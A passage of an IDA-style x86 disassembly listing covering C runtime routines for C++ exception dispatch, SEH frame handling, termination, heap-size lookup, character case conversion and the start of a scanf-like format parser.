loc_41AE85: ; CODE XREF: sub_41AE65+16j call sub_41B672 loc_41AE8A: ; CODE XREF: sub_41AE65+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41AFE1 cmp dword ptr [esi+10h], 3 jnz short loc_41AEFE cmp [esi+14h], edi jnz short loc_41AEFE cmp dword ptr [esi+1Ch], 0 jnz short loc_41AEFE mov esi, ds:dword_4C9100 test esi, esi jz loc_41AFDC mov eax, ds:dword_4C9104 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41E9F2 pop ecx test eax, eax pop ecx jnz short loc_41AEE0 call sub_41B672 loc_41AEE0: ; CODE XREF: sub_41AE65+74j cmp [esi], ebx jnz loc_41AFE1 cmp dword ptr [esi+10h], 3 jnz short loc_41AEFE cmp [esi+14h], edi jnz short loc_41AEFE cmp dword ptr [esi+1Ch], 0 jnz short loc_41AEFE call sub_41B672 loc_41AEFE: ; CODE XREF: sub_41AE65+41j ; sub_41AE65+46j ... cmp [esi], ebx jnz loc_41AFE1 cmp dword ptr [esi+10h], 3 jnz loc_41AFE1 cmp [esi+14h], edi jnz loc_41AFE1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162CB add esp, 14h mov ebx, eax loc_41AF35: ; CODE XREF: sub_41AE65+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41AFCC cmp [ebx], edi jg short loc_41AFC1 cmp edi, [ebx+4] jg short loc_41AFC1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41AFBE loc_41AF5A: ; CODE XREF: sub_41AE65+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41AF8B loc_41AF6C: ; CODE XREF: sub_41AE65+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41B0B4 add esp, 0Ch test eax, eax jnz short loc_41AF9A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41AF6C loc_41AF8B: ; CODE XREF: sub_41AE65+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41AF5A jmp short loc_41AFBE ; --------------------------------------------------------------------------- loc_41AF9A: ; CODE XREF: sub_41AE65+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41B1C5 add esp, 2Ch loc_41AFBE: ; CODE XREF: sub_41AE65+F3j ; sub_41AE65+133j mov edi, [ebp+var_10] loc_41AFC1: ; CODE XREF: sub_41AE65+DEj ; sub_41AE65+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41AF35 ; --------------------------------------------------------------------------- loc_41AFCC: ; CODE XREF: sub_41AE65+D6j cmp [ebp+arg_14], 0 jz short loc_41AFDC push 1 push esi call sub_41B53A pop ecx pop ecx loc_41AFDC: ; CODE XREF: sub_41AE65+56j ; sub_41AE65+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AFE1: ; CODE XREF: sub_41AE65+37j ; sub_41AE65+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41B007 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41B00C add esp, 20h jmp short loc_41AFDC ; --------------------------------------------------------------------------- loc_41B007: ; CODE XREF: sub_41AE65+180j jmp sub_41B61C sub_41AE65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B00C proc near ; CODE XREF: sub_41AE65+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp ds:dword_4C9108, 0 push esi push edi jz short loc_41B03D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4161A2 add esp, 1Ch test eax, eax jnz short loc_41B0B0 loc_41B03D: ; CODE XREF: sub_41B00C+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162CB add esp, 14h mov esi, eax loc_41B059: ; CODE XREF: sub_41B00C+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41B0B0 cmp edi, [esi] jl short loc_41B0A8 cmp edi, [esi+4] jg short loc_41B0A8 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41B082 cmp byte ptr [ecx+8], 0 jnz short loc_41B0A8 loc_41B082: ; CODE XREF: sub_41B00C+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41B1C5 add esp, 2Ch loc_41B0A8: ; CODE XREF: sub_41B00C+57j ; sub_41B00C+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B0B0: ; CODE XREF: sub_41B00C+2Fj ; sub_41B00C+53j pop edi pop esi leave retn sub_41B00C endp ; =============== S U B R O U T I N E ======================================= sub_41B0B4 proc near ; CODE XREF: sub_41AE65+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41B10B cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41B10B mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41B0E5 add ecx, 8 push ecx push edx call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_41B107 loc_41B0E5: ; CODE XREF: sub_41B0B4+1Fj test byte ptr [esi], 2 jz short loc_41B0EF test byte ptr [edi], 8 jz short loc_41B107 loc_41B0EF: ; CODE XREF: sub_41B0B4+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41B0FE test byte ptr [edi], 1 jz short loc_41B107 loc_41B0FE: ; CODE XREF: sub_41B0B4+43j test al, 2 jz short loc_41B10B test byte ptr [edi], 2 jnz short loc_41B10B loc_41B107: ; CODE XREF: sub_41B0B4+2Fj ; sub_41B0B4+39j ... xor eax, eax jmp short loc_41B10E ; --------------------------------------------------------------------------- loc_41B10B: ; CODE XREF: sub_41B0B4+Bj ; sub_41B0B4+14j ... push 1 pop eax loc_41B10E: ; CODE XREF: sub_41B0B4+55j pop edi pop esi retn sub_41B0B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B111 proc near ; CODE XREF: sub_41ADCA+34p ; sub_41B1C5+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422848 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41B143: ; CODE XREF: sub_41B111+8Aj cmp esi, [ebp+arg_C] jz short loc_41B19D cmp esi, 0FFFFFFFFh jle short loc_41B152 cmp esi, [edi+4] jl short loc_41B157 loc_41B152: ; CODE XREF: sub_41B111+3Aj call sub_41B672 loc_41B157: ; CODE XREF: sub_41B111+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41B172 push 103h push ebx push eax call sub_41B5D0 loc_41B172: ; CODE XREF: sub_41B111+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41B192 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41B1AF pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41B192: ; CODE XREF: sub_41B111+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41B143 ; --------------------------------------------------------------------------- loc_41B19D: ; CODE XREF: sub_41B111+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B111 endp ; =============== S U B R O U T I N E ======================================= sub_41B1AF proc near ; CODE XREF: sub_41B111+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41B1C0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B1C0: ; CODE XREF: sub_41B1AF+Cj jmp sub_41B61C sub_41B1AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1C5 proc near ; CODE XREF: sub_41AE65+151p ; sub_41B00C+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41B1E7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41B376 add esp, 10h loc_41B1E7: ; CODE XREF: sub_41B1C5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41B1F3 push edi jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F3: ; CODE XREF: sub_41B1C5+29j push [ebp+arg_24] loc_41B1F6: ; CODE XREF: sub_41B1C5+2Cj call sub_4160A4 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41B111 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41B240 add esp, 2Ch test eax, eax jz short loc_41B23B push edi push eax call sub_416062 loc_41B23B: ; CODE XREF: sub_41B1C5+6Dj pop edi pop esi pop ebx pop ebp retn sub_41B1C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B240 proc near ; CODE XREF: sub_41B1C5+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422858 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, ds:dword_4C9100 mov [ebp+var_1C], ecx mov ecx, ds:dword_4C9104 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov ds:dword_4C9100, edi mov ecx, [ebp+arg_8] mov ds:dword_4C9104, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_416129 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41B306 mov eax, [ebp+var_2C] loc_41B2CD: ; CODE XREF: sub_41B2E6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B240 endp ; =============== S U B R O U T I N E ======================================= sub_41B2DC proc near ; DATA XREF: _1:00422868o push dword ptr [ebp-14h] call sub_41B34C pop ecx retn sub_41B2DC endp ; =============== S U B R O U T I N E ======================================= sub_41B2E6 proc near ; DATA XREF: _1:0042286Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41638A pop ecx pop ecx xor eax, eax jmp short loc_41B2CD sub_41B2E6 endp ; --------------------------------------------------------------------------- loc_41B2FE: ; DATA XREF: _1:00422860o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41B306 proc near ; CODE XREF: sub_41B240+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov ds:dword_4C9100, eax mov eax, [ebp-20h] mov ds:dword_4C9104, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41B34B cmp dword ptr [edi+10h], 3 jnz short locret_41B34B cmp dword ptr [edi+14h], 19930520h jnz short locret_41B34B cmp [ebp-24h], ebx jnz short locret_41B34B cmp [ebp-2Ch], ebx jz short locret_41B34B call sub_4163F2 push eax push edi call sub_41B53A pop ecx pop ecx locret_41B34B: ; CODE XREF: sub_41B306+1Cj ; sub_41B306+22j ... retn sub_41B306 endp ; =============== S U B R O U T I N E ======================================= sub_41B34C proc near ; CODE XREF: sub_41B2DC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41B373 cmp dword ptr [eax+10h], 3 jnz short loc_41B373 cmp dword ptr [eax+14h], 19930520h jnz short loc_41B373 cmp dword ptr [eax+1Ch], 0 jnz short loc_41B373 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B373: ; CODE XREF: sub_41B34C+Cj ; sub_41B34C+12j ... xor eax, eax retn sub_41B34C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B376 proc near ; CODE XREF: sub_41B1C5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422870 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41B51F cmp byte ptr [eax+8], 0 jz loc_41B51F mov eax, [ecx+8] test eax, eax jz loc_41B51F mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41B413 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41E9F2 pop ecx pop ecx test eax, eax jz loc_41B516 push 1 push edi call sub_41EA0E pop ecx pop ecx test eax, eax jz loc_41B516 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41B404: ; CODE XREF: sub_41B376+F5j push eax call sub_41B5A1 pop ecx pop ecx mov [edi], eax jmp loc_41B51B ; --------------------------------------------------------------------------- loc_41B413: ; CODE XREF: sub_41B376+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41B46D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41E9F2 pop ecx pop ecx test eax, eax jz loc_41B516 push 1 push edi call sub_41EA0E pop ecx pop ecx test eax, eax jz loc_41B516 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416470 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41B51B mov eax, [edi] test eax, eax jz loc_41B51B add esi, 8 push esi jmp short loc_41B404 ; --------------------------------------------------------------------------- loc_41B46D: ; CODE XREF: sub_41B376+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41B4B5 call sub_41E9F2 pop ecx pop ecx test eax, eax jz loc_41B516 push 1 push edi call sub_41EA0E pop ecx pop ecx test eax, eax jz short loc_41B516 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41B5A1 pop ecx pop ecx push eax push edi call sub_416470 add esp, 0Ch jmp short loc_41B51B ; --------------------------------------------------------------------------- loc_41B4B5: ; CODE XREF: sub_41B376+103j call sub_41E9F2 pop ecx pop ecx test eax, eax jz short loc_41B516 push 1 push edi call sub_41EA0E pop ecx pop ecx test eax, eax jz short loc_41B516 push dword ptr [esi+18h] call sub_41EA2A pop ecx test eax, eax jz short loc_41B516 test byte ptr [esi], 4 jz short loc_41B4FC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41B5A1 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41609D jmp short loc_41B51B ; --------------------------------------------------------------------------- loc_41B4FC: ; CODE XREF: sub_41B376+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41B5A1 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_416096 jmp short loc_41B51B ; --------------------------------------------------------------------------- loc_41B516: ; CODE XREF: sub_41B376+6Aj ; sub_41B376+7Cj ... call sub_41B672 loc_41B51B: ; CODE XREF: sub_41B376+98j ; sub_41B376+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41B51F: ; CODE XREF: sub_41B376+2Ej ; sub_41B376+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B376 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41B61C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B53A proc near ; CODE XREF: sub_41AE65+170p ; sub_41B306+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422880 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41B581 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41B581 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_416096 or [ebp+var_4], 0FFFFFFFFh loc_41B581: ; CODE XREF: sub_41B53A+2Aj ; sub_41B53A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B53A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41B61C ; =============== S U B R O U T I N E ======================================= sub_41B5A1 proc near ; CODE XREF: sub_41B376+8Fp ; sub_41B376+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41B5C2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41B5C2: ; CODE XREF: sub_41B5A1+12j pop esi retn sub_41B5A1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5D0 proc near ; CODE XREF: sub_416129+40p ; sub_41B111+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_416415 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41B60F mov ecx, 2 loc_41B60F: ; CODE XREF: sub_41B5D0+38j push ecx call sub_416415 pop ebp pop ecx pop ebx leave retn 0Ch sub_41B5D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B61C proc near ; CODE XREF: sub_41AE65:loc_41B007j ; sub_41B1AF:loc_41B1C0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041EA42 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422890 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:dword_4C910C test eax, eax jz short loc_41B664 mov [ebp+var_4], 1 call eax jmp short loc_41B660 ; --------------------------------------------------------------------------- loc_41B659: ; DATA XREF: _1:004228A0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B65D: ; DATA XREF: _1:004228A4o mov esp, [ebp+var_18] loc_41B660: ; CODE XREF: sub_41B61C+3Bj and [ebp+var_4], 0 loc_41B664: ; CODE XREF: sub_41B61C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41B66D: ; DATA XREF: _1:00422898o jmp loc_41EA42 sub_41B61C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B672 proc near ; CODE XREF: sub_4162CB+23p ; sub_4162CB:loc_416336p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4228A8 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_4316E4 test eax, eax jz short loc_41B6BA mov [ebp+var_4], 1 call eax ; sub_41B61C jmp short loc_41B6B6 ; --------------------------------------------------------------------------- loc_41B6AF: ; DATA XREF: _1:004228B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B6B3: ; DATA XREF: _1:004228BCo mov esp, [ebp+var_18] loc_41B6B6: ; CODE XREF: sub_41B672+3Bj and [ebp+var_4], 0 loc_41B6BA: ; CODE XREF: sub_41B672+30j or [ebp+var_4], 0FFFFFFFFh call $+5 jmp sub_41B61C sub_41B672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6C8 proc near ; CODE XREF: sub_4167B3+7p ; sub_4167B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4CA708 push esi cmp eax, 3 jnz short loc_41B6F1 mov esi, [ebp+arg_0] push esi call sub_418EA9 test eax, eax pop ecx jz short loc_41B6EE mov eax, [esi-4] sub eax, 9 jmp short loc_41B726 ; --------------------------------------------------------------------------- loc_41B6EE: ; CODE XREF: sub_41B6C8+1Cj push esi jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B6F1: ; CODE XREF: sub_41B6C8+Ej cmp eax, 2 jnz short loc_41B715 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_419C04 add esp, 0Ch test eax, eax jz short loc_41B715 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41B726 ; --------------------------------------------------------------------------- loc_41B715: ; CODE XREF: sub_41B6C8+2Cj ; sub_41B6C8+43j push [ebp+arg_0] loc_41B718: ; CODE XREF: sub_41B6C8+27j push 0 push ds:dword_4CA704 call ds:dword_4221A8 ; RtlSizeHeap loc_41B726: ; CODE XREF: sub_41B6C8+24j ; sub_41B6C8+4Bj pop esi leave retn sub_41B6C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B729 proc near ; CODE XREF: sub_416878+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4C911C, 0 push ebx jnz short loc_41B754 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41B7F2 cmp eax, 7Ah jg loc_41B7F2 sub eax, 20h jmp loc_41B7F2 ; --------------------------------------------------------------------------- loc_41B754: ; CODE XREF: sub_41B729+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41B787 cmp ds:dword_42F56C, 1 jle short loc_41B774 push 2 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41B77F ; --------------------------------------------------------------------------- loc_41B774: ; CODE XREF: sub_41B729+3Dj mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 2 loc_41B77F: ; CODE XREF: sub_41B729+49j test eax, eax jnz short loc_41B787 loc_41B783: ; CODE XREF: sub_41B729+AFj mov eax, ebx jmp short loc_41B7F2 ; --------------------------------------------------------------------------- loc_41B787: ; CODE XREF: sub_41B729+34j ; sub_41B729+58j mov edx, ds:off_42F360 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41B7AA and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41B7B3 ; --------------------------------------------------------------------------- loc_41B7AA: ; CODE XREF: sub_41B729+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41B7B3: ; CODE XREF: sub_41B729+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push ds:dword_4C911C call sub_41C829 add esp, 20h test eax, eax jz short loc_41B783 cmp eax, 1 jnz short loc_41B7E5 movzx eax, [ebp+var_4] jmp short loc_41B7F2 ; --------------------------------------------------------------------------- loc_41B7E5: ; CODE XREF: sub_41B729+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41B7F2: ; CODE XREF: sub_41B729+14j ; sub_41B729+1Dj ... pop ebx leave retn sub_41B729 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7F5 proc near ; CODE XREF: sub_416A97+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41C1FB mov edi, [ebp+arg_0] jmp short loc_41B824 ; --------------------------------------------------------------------------- loc_41B81F: ; CODE XREF: sub_41B7F5+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41B824: ; CODE XREF: sub_41B7F5+28j cmp ds:dword_42F56C, 1 jle short loc_41B83C movzx eax, al push 8 push eax call sub_418762 pop ecx pop ecx jmp short loc_41B84B ; --------------------------------------------------------------------------- loc_41B83C: ; CODE XREF: sub_41B7F5+36j mov ecx, ds:off_42F360 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41B84B: ; CODE XREF: sub_41B7F5+45j cmp eax, ebx jz short loc_41B885 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41C282 pop ecx pop ecx push eax call sub_41C26B movzx eax, byte ptr [esi+1] inc esi push eax call sub_41EB21 add esp, 0Ch loc_41B873: ; CODE XREF: sub_41B7F5+8Ej test eax, eax jz short loc_41B885 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41EB21 pop ecx jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B885: ; CODE XREF: sub_41B7F5+58j ; sub_41B7F5+80j cmp byte ptr [esi], 25h jnz loc_41C167 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41B8BC: ; CODE XREF: sub_41B7F5+172j movzx ebx, byte ptr [esi+1] inc esi cmp ds:dword_42F56C, 1 jle short loc_41B8D9 movzx eax, bl push 4 push eax call 